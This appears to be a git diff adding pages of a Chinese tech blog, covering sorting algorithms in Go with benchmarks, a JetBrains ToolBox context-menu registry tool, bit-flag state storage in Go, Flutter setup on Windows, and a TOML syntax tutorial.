上面的快排实现中,在10w数据量的情况下要88ms,同样情况下堆排序和归并排序只需要其十分之一的耗时,显然如此简单的快排实现是不足以应用到实际使用中的,必须对其进行优化。

优化点1

基准值如果是数组中的中位数,就可以做到较为均匀的划分子数组,避免出现取到最小最大值作为基准值的情况,但是取中位数是需要耗费额外的性能,常见的做法是将数组中左右端点和中间位置的三值间的中值作为基准值。

func threeMid[T any](s []T, l, r int, less func(a, b T) bool) int {
+	m := l + (r-l)>>1
+	// 将三个数中最大的放到r位置上
+	if less(s[r], s[l]) {
+		s[l], s[r] = s[r], s[l]
+	}
+	if less(s[r], s[m]) {
+		s[m], s[r] = s[r], s[m]
+	}
+	// 然后中值就在l,m两者之间
+	if less(s[l], s[m]) {
+		return m
+	}
+	return l
+}
+

还有另一个方法就是随机选取。

优化点2

对于小数组而言,没有必要再用快排继续进行分区递归了,可以使用其它更为简单排序算法来代替,例如C++STL中的排序会在长度小于16时采用插入排序,因为插入排序对于小规模数据比冒泡和选择都更快,并且实现也很简单,转换的临界点也一般在5-16之间。

优化点3

如果含有大量的重复元素,时间复杂度仍然可能会恶化成平方级别。优化方法是使用三路快排,其思想是在单趟排序时将数组划分为三个部分,左边是小于基准值的部分,中间是等于基准值的部分,右边是大于基准值的部分,在后续的排序中,我们只需要处理小于和大于的部分,中间的可以完全不用管,三路快排对于处理有大量重复元素的数组很有效。

func sortArray(nums []int) []int {
+	partition(nums, 0, len(nums)-1)
+	return nums
+}
+
+func partition(nums []int, l, r int) {
+	if l >= r {
+		return
+	}
+
+	// 随机挑选基准值
+	n := rand.Intn(r-l+1) + l
+	nums[l], nums[n] = nums[n], nums[l]
+
+	pivot := nums[l]
+	lt := l
+	gt := r + 1
+	// [lt+1..i] == v
+	i := l + 1
+
+	for i < gt {
+		if nums[i] < pivot {
+			nums[i], nums[lt+1] = nums[lt+1], nums[i]
+			i++
+			lt++
+		} else if nums[i] > pivot {
+			// 交换后的数字不一定就小于基准值,所以不移动i,需要下个循环再次判断
+			nums[i], nums[gt-1] = nums[gt-1], nums[i]
+			gt--
+		} else {
+			i++
+		}
+	}
+	// lt是等于基准值数组的左边界,此时再和基准值进行交换
+	nums[lt], nums[l] = nums[l], nums[lt]
+	// 继续不断分支排序
+	partition(nums, l, lt-1)
+	partition(nums, gt, r)
+}
+

[l, lt-1]表示小于基准值的范围,[gt, r]表示大于基准值的范围,[lt, i]就是等于基准值的范围。举一个例子,如下图

我们的任务是将小于基准值的移动到数组左边,大于基准值的移动到右边,所以i不断遍历数组。当i指向的元素小于基准值时,右移lt一位

此时i指向元素2,等于基准值于是跳过

现在i指向的值是3,大于基准值,gt指针左移并和i所指的元素进行交换。

但交换后的值仍然大于基准值于是继续移动gt指针然后再交换。

此时的i指向了2,与基准值相同则继续移动,直到等于gt。最后再将基准值归位,即ltpivot交换位置。

至此,区间的划分已经完毕,接下来在进行递归时我们只需要关注左右两个区间即可,中间的就可以忽略掉,这样就起到了优化大量重复元素d

计数排序

计数排序是一种线性时间的排序算法,并且是非比较排序,虽然它可以达到线性时间复杂度,但对使用的数据有一定的要求:数据之间的差值不能有太大,并且会使用额外的辅助空间。它的实现思路如下,首先统计数据中的最小最大值,然后使用一个长度为max-min+1的数组来记录每一个数据的个数,对于计数数组,下标i就等于数据的值,这样一来通过计数数组,天然的就能将其排序,然后反向遍历计数数组根据数量填充原数组。由于数据的限制,该排序方法不太好通过泛型来实现。

func CountSort(s []int) {
+	var minE, maxE int
+	for _, e := range s {
+		if e < minE {
+			minE = e
+		}
+		if e > maxE {
+			maxE = e
+		}
+	}
+
+	counts := make([]int, maxE-minE+1)
+	// 这里是正向的读取数据
+	// 为保证稳定性后面排序的时候就要反向的存放
+	// 怎么读的就怎么存
+	for _, e := range s {
+		counts[e-minE]++
+	}
+
+	// 逆序写
+	for i, k := len(counts)-1, len(s)-1; i >= 0; i-- {
+		for j := counts[i]; j > 0; j-- {
+			s[k] = minE + i
+			k--
+		}
+	}
+}
+

时间复杂度:O(n+k)

寻找最大最小值时花费O(n),k是最大值和最小值的差值,在计数后写入原数组时,至少会循环k次,所以时间复杂度O(n+k)。当k值远大于O(nlogn)时,说明就不适合使用计数排序来对数据进行排序。

空间复杂度:O(k)

这里用到了counts数组来存放数量信息,花费空间O(k)。我看到网上很多其它实现都会用一个临时数组来存储结果再复制到目标数组中去,这样一来空间复杂度就变成了O(n+k),不太明白这样做的意义是什么。

稳定性:是

正序读,逆序写保证了相等数据的相对位置。

性能测试

计数排序是用在特定场景的排序方法,不适合随机数据排序,下面的测试用例中的生成数据中的最大差值在1w以内。

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkCountSort/100-16                 100839             11764 ns/op           81921 B/op          1 allocs/op
+BenchmarkCountSort/1000-16                 62029             19060 ns/op           81921 B/op          1 allocs/op
+BenchmarkCountSort/10000-16                15981             73497 ns/op           81942 B/op          1 allocs/op
+BenchmarkCountSort/100000-16                4191            266531 ns/op           82900 B/op          1 allocs/op
+PASS
+ok      sorts   16.788s
+

可以看到的是即便是数据量来到了10w级别,也没有出现较大的增幅。

基数排序

基数排序同计数排序一样,是非比较排序,同样只适用于特殊场景,不适合普遍的随机数据排序。它的排序思路是根据数据的位数来决定,可以从高位到低位,也可以从低位到高位。这里以以低位到高位举例,比较好理解。现有如下数据,低位数据自动补零方便理解。

152 003 012 948
+

首先将其按照个位的大小排序,得到下面的序列

152 012 003 948
+

在其基础之上根据十位排序得到下面的序列

003 012 948 152
+

在其基础知识根据百位排序

003 012 152 948
+

最终得到有序的数组,基数排序的思路非常简单明了容易理解,代码实现如下

func RadixSort(s []int) {
+	maxV := slices.Max(s)
+	// 最大位数
+	bit := 0
+	for maxV > 0 {
+		maxV /= 10
+		bit++
+	}
+
+	// 0-9 10个数字
+	count := make([]int, 10)
+	// 临时数组,用来保存每一轮的排序结果
+	temp := make([]int, len(s))
+
+	radix := 1
+	// 最大数有多少位,就遍历多少次
+	for i := 0; i < bit; i++ {
+		clear(count)
+
+		for _, e := range s {
+			count[(e/radix)%10]++
+		}
+
+		// 累加后count数组每一个元素记录着由(s[i]/radix)%10计算得到的最后一个元素位置
+		for i := 1; i < len(count); i++ {
+			count[i] += count[i-1]
+		}
+
+		// 正序读逆序写,保证稳定性
+		for i := len(s) - 1; i >= 0; i-- {
+			temp[count[(s[i]/radix)%10]-1] = s[i]
+			// 下一个被分配此位置的元素
+			count[(s[i]/radix)%10]--
+		}
+
+		copy(s, temp)
+
+		// 进一位
+		radix *= 10
+	}
+}
+

可以看到的是在过程中,每一轮的排序方式其实就是计数排序变种,每一个位上的差值最大也就只有9,所以count数组长度也就是固定的10。计数分配好后,因为在这里分配的下标不代表实际的值,所以要累加每一个计数的值,这样就能得到它们排序后的位置。后面就是将其写入临时数组,再复制到原数组中。

时间复杂度:O(kn)

k的最大值的位数,也决定了外层循环的次数,每一次外循环花费的时间是O(n),总共就是O(nk)。

空间复杂度:O(n+k)

用到了一个长度为n的临时数组用于存放每轮排序结果,和一个计数数组。

稳定性:是

跟计数一样,正序读,逆序写保证了相等数据的相对位置。

性能测试

goos: windows
+goarch: amd64
+pkg: sorts
+cpu: 11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz
+BenchmarkRadixSort/100-16                 155721              7971 ns/op             896 B/op          1 allocs/op
+BenchmarkRadixSort/1000-16                 15081             78742 ns/op            8192 B/op          1 allocs/op
+BenchmarkRadixSort/10000-16                 1501            777792 ns/op           81920 B/op          1 allocs/op
+BenchmarkRadixSort/100000-16                 150           7913457 ns/op          802819 B/op          1 allocs/op
+PASS
+ok      sorts   15.333s
+

这里生成的随机数据只包含正整数,10w数据量的情况下只需要7ms,指的是注意的是,基数的选择不止是10进制还可以是十六进制,八进制,二机制,每个进制的基数范围不同。那么为什么它的性能相当优秀但使用没有快排广泛,思考下总共有几点:

  1. 不太好抽象,适用面窄,比如这个基数排序的例子我都是用int来写的,很难用泛型实现,如果是结构体类型,那么它的特征值可能是浮点数,字符串,或者是负数,甚至是复数,这些类型很对基数进行分解,也就谈不上排序。
  2. 第二点就是额外的O(n)空间。

桶排序

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/autotoolbox.html b/posts/code/autotoolbox.html new file mode 100644 index 0000000..a9ba93d --- /dev/null +++ b/posts/code/autotoolbox.html @@ -0,0 +1,65 @@ + + + + + + + + AutoToolBox | 寒江蓑笠翁 + + + + + + +

AutoToolBox

寒江蓑笠翁大约 5 分钟技术日志ToolBoxJetBrainGolang

AutoToolBox

一个用Go编写的小工具 - Windows下ToolBox菜单自动生成器


简介

youtrack问题链接open in new window

JetBrain旗下的ToolBox是一款方便管理IDE版本的工具软件,但是对于右键菜单打开项目的功能却迟迟不支持,但是在youtrack上的相关问题最早可以追溯到五年前。网上的大多数方法都是直接将对应IDE的exe文件路径写入注册表中,此种方法对于使用ToolBox的用户来说,更新和回退版本后就会导致原有的菜单失效,并且手动修改注册表也十分的繁琐。所幸的是,ToolBox提供了一个稳定的Shell脚本路径,通过将该路径下的脚本注册到注册表中,便可以实现右键菜单的功能。AutoToolBox做的就是根据正确的输入路径,生成两份Windows注册表脚本,直接点击脚本运行就可以修改注册表,由于该目录下的脚本是ToolBox维护的,所以不用担心更新和回退版本失效的问题。

项目地址:246859/AutoToolBox: A simple tool that can automatically generate ToolBox registry scripts, only for Windows systems. (github.com)open in new window

脚本路径

首先你需要找到shell脚本路径,脚本路径可以在ToolBox的设置中直接查看,例如

image-20230217210439344
image-20230217210439344

路径为

C:\Users\Stranger\AppData\Local\JetBrains\Toolbox\scripts
+

这个路径就是程序的输入路径

目录结构

dir
+|
+|---ico
+|   |
+|   |---idea.ico
+|   |
+|   |---goland.ico
+|   |
+|   |---toolbox.ico
+|
+|---idea.cmd
+|
+|---goland.cmd
+

在使用之前,先确保输入目录的结构如上,ico文件夹是图标文件夹,ToolBox不会自动创建该目录,需要用户自行创建然后去对应的IDE目录里面寻找对应的图标文件,需要注意的是cmd文件与ico文件名称要一致。

生成脚本

使用Github上最新的Relaese的二进制可执行文件,执行如下命令

./autotoolbox.exe -path "C:\Users\Stranger\AppData\Local\JetBrains\Toolbox\scripts"
+

最后会在目标目录下生成下面的文件夹

C:\Users\Stranger\AppData\Local\JetBrains\Toolbox\scripts\AutoToolBox
+

文件夹内有两个脚本:

  • toolboxAdd.reg - 用于修改注册表,使用后将会添加到右键菜单中
  • toolboxRemove.reg - 用于撤销对注册表的修改,使用后将会从右键菜单中删除已修改的项
image-20230217211635959open in new window
image-20230217211635959

在Windows系统下reg脚本可以直接点击执行,当你看到如下输出时,说明执行成功。

[TIP]   reg files has been successfully generated in the directory C:\Users\Stranger\AppData\Local\JetBrains\Toolbox\scripts\AutoToolBox
+

效果

最终效果是无论右键文件夹或是右键点击文件夹背景都可以看到如下类似的菜单

image-20230217212654787
image-20230217212654787
上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/bitflag.html b/posts/code/bitflag.html new file mode 100644 index 0000000..de53cb8 --- /dev/null +++ b/posts/code/bitflag.html @@ -0,0 +1,174 @@ + + + + + + + + 位运算保存状态 | 寒江蓑笠翁 + + + + + + +

位运算保存状态

寒江蓑笠翁大约 9 分钟技术日志位运算go

位运算保存状态


理论

在go里面,没有提供枚举这一类型,所以我们会通过声明常量来表示一些特定的状态,比如下面这种形式

const (
+	A = 1 + iota
+	B
+	C
+	D
+)
+
+var status uint8
+

通过const + iota的方式来定义一些状态,这样做的缺点在于,一个变量只能同时存储一个状态,如果要同时表示多个状态,就需要使用多个变量,而使用位来存储这些状态可以很好的解决这种问题,其过程只涉及到了简单的位运算。

比特位存储状态原理是每一个比特位表示一个状态,1表示拥有此状态,0表示未拥有此状态,那么总共能表示多少个状态取决于有多少个比特位,在go语言中,使用uint64类型可以最多可以表示64个状态。在这种情况下,其所存储状态的值就有一定的要求,其值必须是2的整数次方,比如2的2次方

0b10
+

2的8次方

0b10000000
+

假设现在用一个无符号8位整数来存储这些状态,意味着可以有8个比特位可以使用,也就是uint8(0)

const (
+	A = 0b1 << iota
+	B
+	C
+	D
+)
+
+var status uint8
+

将其与0b10进行或运算,或运算的符号是|

    00000010
+ |  00000000
+------------
+    00000010
+

或运算的规则是同为0取0,否则取1,进行或运算后,就可以将该状态的标志位记录到变量中。同理,也可以存储多个其它不同的状态,将上面计算的结果与0b10000000再次进行或运算后,此时状态变量的二进制位中,已经有两个比特位为1。

    10000000
+ |  00000010
+------------
+    10000010
+

如果要一次性存储多个状态,可以先将几个状态进行或运算,再存储到状态变量中,比如一次性存储状态ABCD

    00000001
+ |  00000010
+------------
+    00000011
+ |  00000100
+------------
+    00000111
+ |  00001000
+------------
+    00001111
+ |  00000000
+------------
+    00001111
+

最终status的值就是

0b00001111
+

既然有存储状态,就肯定要读取状态,读取状态的原理同样十分简单。假如要确认状态A是否存在于status变量中,使用与运算&即可,其规则为同为1取1,否则取0,由于这些状态值全都是2的正整数次方,二进制位中永远只有一个位为1,所以两者进行与运算时,只有相同的那一个比特位才能为1,其余全为0,如果计算结果为0,说明指定位不相同,则不包含此状态,计算过程如下。

    00000001
+ &  00001111
+------------
+    00000001
+

同理,如果想判断多个状态是否存在于status中,将多个状态值进行或运算,然后将结果与status进行与运算即可,比如下面判断是否同时包含状态ABC。

    00000001
+ |  00000000
+------------
+    00000001
+ |  00000010
+------------
+    00000011
+ |  00000100
+------------
+    00000111
+ &  00001111
+------------
+    00000111
+

最后一个操作就是撤销状态,将指定状态从status中删除,经过上面两个操作的讲解后相信可以很容易就能想到删除的原理。实际上有两种方法可以操作,其结果都是一样的,第一种是将指定状态取反,然后将结果与status相与,就能得到删除指定状态后的status。假设删除状态D其过程如下,

 ~  00001000
+------------
+    11110111
+ &  00001111
+------------
+    00000111
+

取反会将自身的每一个比特位反转,反转后只有一个比特位为0,也就是要删除的比特位,这样一来将与status进行与运算,就能将指定比特位置0。另一个方法就是直接将两者进行异或运算,异或的规则是不相同取1,相同取0,计算过程如下

    00001000
+ ^  00001111
+------------
+    00000111
+

可以看得出来异或就等于取反后相与,两者是完全等价的。如果要删除多个状态,跟之前同理,多个状态进行或运算后再进行异或,比如下面删除状态ABC

    00000001
+ |  00000000
+------------
+    00000001
+ |  00000010
+------------
+    00000011
+ |  00000100
+------------
+    00000111
+ ^  00001111
+------------
+    00001000
+

实现

理论部分讲完过后,下面看看怎么用代码来进行实现,这种操作是不限语言的,这里使用go语言来进行实现。需要注意的是,go语言中取反运算符和异或运算符是同一个,都是^符号。

type BitFlag uint64
+

首先可以声明一个BitFlag类型,其底层类型为uint64,最多可以同时存储64个状态,在实际代码中可以直接使用位运算来进行操作,这里选择稍微封装了一下。

type BitFlag uint64
+
+func (bf *BitFlag) Store(flags ...uint64) {
+	for _, flag := range flags {
+		*bf |= BitFlag(flag)
+	}
+}
+
+func (bf *BitFlag) Check(flags ...uint64) bool {
+	var f uint64
+	for _, flag := range flags {
+		f |= flag
+	}
+
+	return *bf&BitFlag(f) != 0
+}
+
+func (bf *BitFlag) Revoke(flags ...uint64) {
+	var f uint64
+	for _, flag := range flags {
+		f |= flag
+	}
+	*bf ^= BitFlag(f)
+}
+

可以看到代码量非常少,实现起来也很简单,下面是一个简单的使用案例

const (
+	A = 0b1 << iota
+	B
+	C
+	D
+	E
+	F
+	G
+)
+
+func main() {
+	var flag BitFlag
+	flag.Store(A, B, C, D, E)
+	fmt.Println(flag.Check(A, E))
+	fmt.Println(flag.Check(F, G))
+	flag.Revoke(A, D)
+	fmt.Println(flag.Check(A, D))
+}
+

输出

true
+false
+false
+
上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/daily/fluttertry.html b/posts/code/daily/fluttertry.html new file mode 100644 index 0000000..6baf67f --- /dev/null +++ b/posts/code/daily/fluttertry.html @@ -0,0 +1,90 @@ + + + + + + + + Flutter在windows桌面软件开发 | 寒江蓑笠翁 + + + + + + +

Flutter在windows桌面软件开发

寒江蓑笠翁大约 7 分钟技术日志每日发现

Flutter在windows桌面软件开发


最近打算试一试桌面软件的开发,苦于没有QT基础,并且go的GUI生态太拉跨了。后来在网上了解到Flutter,现在已经可以稳定开发windows桌面软件了,结合Dart进行开发,而且性能相当的可以,于是本文记录一下flutter的尝试。

Flutter官网:Flutter: 为所有屏幕创造精彩 - Flutter 中文开发者网站 - Flutteropen in new window

Flutter文档:Flutter 开发文档 - Flutter 中文文档 - Flutter 中文开发者网站 - Flutteropen in new window

Flutter安装:安装和环境配置 - Flutter 中文文档 - Flutter 中文开发者网站 - Flutteropen in new window

安装

第一件事是下载flutter,由于是谷歌开源的,部分网页需要魔法上网。

下载下来后就是一个压缩包,Flutter SDK是包含了完整的Dart SDK,解压到自己想要的位置后将bin目录添加到系统变量中。

换源

安装完成后,需要配置一下镜像源,因为flutter服务需要下载一些东西,默认配置的话国内网络多半是下载不了的。

清华源:flutter | 镜像站使用帮助 | 清华大学开源软件镜像站 | Tsinghua Open Source Mirroropen in new window

可以使用清华镜像源,将以下几个替换掉

// flutter sdk镜像
+setx FLUTTER_GIT_URL "https://mirrors.tuna.tsinghua.edu.cn/git/flutter-sdk.git"
+
+// dart 包镜像
+setx PUB_HOSTED_URL "https://mirrors.tuna.tsinghua.edu.cn/dart-pub"
+
+// flutter镜像
+setx FLUTTER_STORAGE_BASE_URL "https://mirrors.tuna.tsinghua.edu.cn/flutter"
+

或者也可以手动去设置上面三个环境变量。

检查依赖

Flutter的跨平台构建应用是需要依赖其他的一些软件的,windows桌面软件开发需要依赖微软的vs,app的话需要Android Studio,这里只安装vs。

vs安装:安装 Visual Studio | Microsoft Learnopen in new window

vs安装好后,执行

flutter doctor
+
PS D:\WorkSpace\Library\flutter> flutter doctor
+Flutter assets will be downloaded from https://mirrors.tuna.tsinghua.edu.cn/flutter. Make sure you trust this source!
+Doctor summary (to see all details, run flutter doctor -v):
+[!] Flutter (Channel stable, 3.10.6, on Microsoft Windows [版本 10.0.19045.3208], locale zh-CN)
+    ! Upstream repository https://github.com/flutter/flutter.git is not the same as FLUTTER_GIT_URL
+[✓] Windows Version (Installed version of Windows is version 10 or higher)
+[✗] Android toolchain - develop for Android devices
+    ✗ Unable to locate Android SDK.
+      Install Android Studio from: https://developer.android.com/studio/index.html
+      On first launch it will assist you in installing the Android SDK components.
+      (or visit https://flutter.dev/docs/get-started/install/windows#android-setup for detailed instructions).
+      If the Android SDK has been installed to a custom location, please use
+      `flutter config --android-sdk` to update to that location.
+
+[✓] Chrome - develop for the web
+[✓] Visual Studio - develop for Windows (Visual Studio Community 2022 17.6.5)
+[!] Android Studio (not installed)
+[✓] IntelliJ IDEA Ultimate Edition (version 2022.3)
+[✓] Connected device (3 available)
+[!] Network resources
+    ✗ A network error occurred while checking "https://github.com/": 信号灯超时时间已到
+
+
+! Doctor found issues in 4 categories.
+

可以看到我并没有安装安卓工具链,这里安装的是最新版flutter 3.10.6,正式版从2.0开始就稳定支持windows了。

Hello World

使用命令创建项目,过程中需要下载东西,要等一会儿,如果前面的镜像配置好了的话是不需要等多久的。

flutter create flutter_learn
+

然后运行demo

flutter run
+

选择要运行的类型

Connected devices:
+Windows (desktop) • windows • windows-x64    • Microsoft Windows [版本 10.0.19045.3208]
+Chrome (web)      • chrome  • web-javascript • Google Chrome 115.0.5790.110
+Edge (web)        • edge    • web-javascript • Microsoft Edge 115.0.1901.183
+[1]: Windows (windows)
+[2]: Chrome (chrome)
+[3]: Edge (edge)
+

这里有web和windows可选,都可以试一试

windows桌面软件
windows桌面软件
web
web

体验

整个过程的初体验还是很不错的,没有深入了解的情况下不太好评价其他地方。在打开web的时候发现整个界面不是传统的html元素,相当于是flutter自己渲染的一套canvas,只能说有点东西。

等到后面学习的足够深入了再回头做一个系统点的评价。

上次编辑于:
贡献者: zihu97
+ + + diff --git a/posts/code/daily/index.html b/posts/code/daily/index.html new file mode 100644 index 0000000..1c87e45 --- /dev/null +++ b/posts/code/daily/index.html @@ -0,0 +1,48 @@ + + + + + + + + Daily | 寒江蓑笠翁 + + + + + + +

Daily

寒江蓑笠翁小于 1 分钟

+ + + diff --git a/posts/code/daily/toml.html b/posts/code/daily/toml.html new file mode 100644 index 0000000..a097fe1 --- /dev/null +++ b/posts/code/daily/toml.html @@ -0,0 +1,327 @@ + + + + + + + + TOML | 寒江蓑笠翁 + + + + + + +

TOML

寒江蓑笠翁大约 25 分钟技术日志每日发现TOML配置文件

TOML

为人类而生的配置文件格式

官方文档:TOML:Tom 的(语义)明显、(配置)最小化的语言open in new window

主流的配置文件格式有很多,也有各自的缺点,xmljsonyamliniproperties等等,都有其各自适用的范围与领域,TOML比起其它的格式,风格上更像是ini的拓展,在基本类型方面而言更加简洁和实用,这是一个很大的优点,但是在嵌套类型上,例如嵌套表,嵌套表数组,为了在写法表现上更加简洁,相应的牺牲就是在语义上变得繁琐和不太容易理解。就作者个人而言认为,目前最主流和最适合的配置文件依旧是yaml,不过抱着学习的心态,对于TOML,未尝不可一试。

Go中对于TOML支持的依赖:toml - Search Results - Go Packagesopen in new window

介绍

TOML是由Github创始人所构建的一种语言,这种语言专门为配置文件而生,旨在成为一个语义明显且易于阅读的最小化配置文件格式。TOML 被设计成可以无歧义地映射为哈希表。TOML 应该能很容易地被解析成各种语言中的数据结构。他们的目的就是简洁,简单,语义化,以及为人而生的配置文件格式。

TOML非常简单易学,类型丰富,总共支持以下类型:

  • 键/值对
  • 数组
  • 内联表
  • 表数组
  • 整数 & 浮点数
  • 字符串
  • 布尔值
  • 日期 & 时刻,带可选的时区偏移

并且TOML也已经受到了非常广泛的语言支持,其中就包括Go语言。

示例

这是一个十分简单的TOML配置,即便没有了解过TOML也能看个大概,一些细节上的问题等阅读本节后就会全部消失了。

# 这是一个 TOML 文档
+
+title = "TOML 示例"
+
+[owner]
+name = "Tom Preston-Werner"
+dob = 1979-05-27T07:32:00-08:00
+
+[database]
+enabled = true
+ports = [ 8000, 8001, 8002 ]
+data = [ ["delta", "phi"], [3.14] ]
+temp_targets = { cpu = 79.5, case = 72.0 }
+
+[servers]
+
+[servers.alpha]
+ip = "10.0.0.1"
+role = "前端"
+
+[servers.beta]
+ip = "10.0.0.2"
+role = "后端"
+

提示

TOML官方声称自己还在测试版本,不排除日后语法更改的可能性,但是很多团队已经将其纳入生产环境了,具体如何使用需要由各位自行决定。

规范

TOML的规范特别少,总共就四条:

  • TOML 是大小写敏感的 -- 命名时需要注意大小写
  • TOML 文件必须是合法的 UTF-8 编码的 Unicode 文档 -- 仅支持UTF-8编码
  • 空白是指制表符(0x09)或空格(0x20)
  • 换行是指 LF(0x0A)或 CRLF(0x0D 0x0A)

注释

TOML的注释与其他大多数配置语言类似,都是通过#来进行标注,允许全行注释与行尾注释。

# 这是一个全行注释
+lang = "TOML"
+os = "win10" # 这是一个行尾注释
+

键值对

TOML最基本的元素就是键值对,有以下几点需要注意:

  • 键名在等号的左边,值在右边
  • 键名和键值周围的空白会被忽略
  • 键名,等号,键值,必须在同一行 (有些值可以跨多行)
  • 键值所允许的类型如下:
    • 字符串
    • 整数
    • 浮点数
    • 布尔值
    • 坐标日期时刻
    • 各地日期时刻
    • 各地日期
    • 各地时刻
    • 数组
    • 内联表

示例

key = "val"
+

一个键名必须对应一个键值,不允许空键的存在

key = #非法的空键
+

书写完一行键值对后必须立刻换行

lang = "TOML" os = "win10" # 错误的写法
+

键名

键名分为裸键引号键,大多数情况下推荐使用裸键。

裸键只能包含ASCII字母,ASCII数字,下划线和短横线

key = "val"
+second_key = "second_val"
+thrid-key = "third-val"
+1024 = "1024"
+

提示

虽然裸键允许使用纯数字来作键名,但始终会将键名当作字符串来解析

引号键的规则与字符串字面量的规则一致,提供对于键名更广泛的使用

”url“ = "toml.io" # 双引号
+"blank str" = "blank val" # 带空格
+"项目名称" = "TOML" # 中文键名,事实上只要是utf-8字符都可以
+'key' = "val" # 单引号键名
+'second "key"' = "second val" # 单引号内含有双引号
+""="" # 双引号空键
+''='' # 单引号空键
+

提示

裸键是无论如何也不能是空键,但引号键允许空键,不过并不推荐这样做

通过.使键有了层级结构

lang = "TOML"
+os = "win10"
+os.cpu = "intel"
+os."gpu" = "nvidia"
+

字符串

TOML中的字符串有四种:基本字符串多行字符串字面量多行字面量,所有的字符串都只能包含合法的UTF8-8字符

基本字符串由双引号"包裹,几乎所有Unicode字符都可以使用,除了部分需要转义

strings = "这是一个字符串,\"这是双引号内部\",长度\t大小\t"
+

下面是一些常见的转义方法

\b         - backspace       (U+0008)
+\t         - tab             (U+0009)
+\n         - linefeed        (U+000A)
+\f         - form feed       (U+000C)
+\r         - carriage return (U+000D)
+\"         - quote           (U+0022)
+\\         - backslash       (U+005C)
+\uXXXX     - unicode         (U+XXXX)
+\UXXXXXXXX - unicode         (U+XXXXXXXX)
+

提示

任何 Unicode 字符都可以用 \uXXXX\UXXXXXXXX 的形式来转义。所有上面未列出的其它转义序列都是保留的,如果用了,TOML 应当产生错误。

多行基本字符串是由三个引号包裹,允许换行,紧随开头引号的换行会被自动去除

long_str = """
+这是一个换行了的字符串
+这是第二行"""
+

解析的结果根据不同的平台会有不同

"这是一个换行了的字符串\n这是第二行" # Unix
+"这是一个换行了的字符串\r\n这是第二行" #Windows
+

如果只是单纯的想写多行,而不想引入换行符以及其他的空白符,可以在行末使用\来消除空白

str = "今天天气很好,可以和朋友出去玩一玩,准备去海边游泳"
+
+#等价于
+str1 = """
+今天天气很好,\
+可以和朋友出去玩一玩,\
+准备去海边游泳
+"""
+
+#等价于
+str2 = str1 = """
+今天天气很好,\
+
+可以和朋友出去玩一玩,\
+
+准备去海边游泳
+"""
+

当一行的最后一个非空白字符串是违背转义的\时,它会将包括自己在内的所有空白字符一齐清除,直到遇见下一个非空白字符或者结束引号为止

提示

也可以在多行基本字符串内的写入一个或两个相连的",同样可以写在开头和结尾

str = """"我很高兴遇见你"""" # "我很高兴遇见你”
+str2 = """  这是一个多行基本字符串示例:" \""" "我很高兴遇见你" \""" " """ # 这是一个多行基本字符串示例:" """ "我很高兴遇见你" """ "
+

字面量字符串由单引号包裹,完全不允许转义,多用于书写文件路径,正则表达式等特殊的规则

regx = '<<\i\c*\s*>>'
+

多行字面量'''包裹,同样不允许转义,由于没有转义,书写连续三个'将会解析错误

lines = ''' don't you think trump is chinese '''
+

整数

整数是纯数字,可以有+- 符号前缀

num = +1
+n_num = -1
+zero = 0
+

对于一些很长的数字,可以用下划线_来分割以增强可读性,下面以中国人的数字阅读习惯举个例子

big_num0 = 1_0000_0000 # 一亿
+big_num1 = 100_0000 # 一百万
+big_num2 = 996_1024 # 九百九十六万零一千零二十四
+

其它进制

hex = 0xABCD
+octal = 0o755
+binary = 0b1001
+

提示

TOML所允许的整数范围是-2^63 - 2^63-1

浮点数

浮点数应当被实现为 IEEE 754 binary64 值

# 小数
+float1 = +1.024
+float2 = -2.048
+float3 = 9.66
+
+# 指数
+float4 = 2e+11
+float5 = 1e6
+float6 = -2E-2
+
+#都有
+float7 = 1.024e-15
+

小数点前后必须紧邻一个数字

# 非法的浮点数
+invalid_float_1 = .7
+invalid_float_2 = 7.
+invalid_float_3 = 3.e+20
+

也可以使用_来增强可读性

float8 = 224_617.445_991_228
+

特殊浮点值也能够表示,它们是小写的

# 无穷
+sf1 = inf  # 正无穷
+sf2 = +inf # 正无穷
+sf3 = -inf # 负无穷
+
+# 非数
+sf4 = nan  # 实际上对应信号非数码还是静默非数码,取决于实现
+sf5 = +nan # 等同于 `nan`
+sf6 = -nan # 有效,实际码取决于实现
+

布尔值

布尔值只有两种表达,真-true,假-false

时区日期时刻

RFC 3339open in new window格式的日期格式,需要指定特定的时区偏移量,如下所示

odt1 = 1979-05-27T07:32:00Z
+odt2 = 1979-05-27T00:32:00-07:00
+odt3 = 1979-05-27T00:32:00.999999-07:00
+

规范也允许使用空格替换字母T

odt4 = 1979-05-27 07:32:00Z
+

本地日期时刻

RFC3339格式的日期时刻省略了日期偏移量,这表示该日期时刻的使用并不涉及时区偏移。在没有其它信息的情况下,并不知道它究竟该被转换成世上的哪一刻,如果仍被要求转换,那结果将取决于实现。

日期

date = 2020-02-05
+

时刻

time = 08:32:12.10
+

日期时刻

ldt1 = 1979-05-27T07:32:00
+ldt2 = 1979-05-27 07:32:00
+

提示

日期时刻的值如果超出的所实现的精度,多余的部分将会被舍弃

数组

数组是由方括号[]包裹,子元素由逗号分隔,,可以混和不同类型的值。

ints = [1, 2, 3, 4, 56]
+floats = [1.1, 2.2, 3.3]
+nums = [1, 2.2, 3, 4.4, 5]
+arr = [1, "2", 3.0, [5], true]
+

数组内部可以换行,也可以被注释

# fib数列
+fibs = [
+    0, # 0
+    1, # 1
+    1, # 2
+    2, # 3
+    3, # 4
+    5]
+

在这之前的所有内容作者都觉得是TOML的优点,而往后的内容,就是TOML所诟病的点了。

又称为哈希映射表或字典,是键值对的集合。

表头由方括号定义[],只作为单独的行出现,其规则与键名一致

[table]
+
+[a.b.c]            # 这是最佳实践
+[ d.e.f ]          # 等同于 [d.e.f]
+[ g .  h  . i ]    # 等同于 [g.h.i]
+[ j . "ʞ" . 'l' ]  # 等同于 [j."ʞ".'l']
+

在定义表头时,可以直接定义子表,而无需先定义父表

[creature.human.female] # 不需要先定义[creature]和[creature.human]这两个表头
+
+[creature] # 父表方在子表后定义同样是允许的
+

其下方直到文件结束或者下一个表头为止,都是这个表头的键值对,且并不保证键值对的顺序。

[table-1]
+key1 = "some string"
+key2 = 123
+
+[table-2]
+key1 = "another string"
+key2 = 456
+

顶层表,又被称为根表,于文档开始处开始并在第一个表头(或文件结束处)前结束,不同于其它表,它没有名字且无法后置。

# 顶层表开始。
+name = "Fido"
+breed = "pug"
+
+# 顶层表结束。
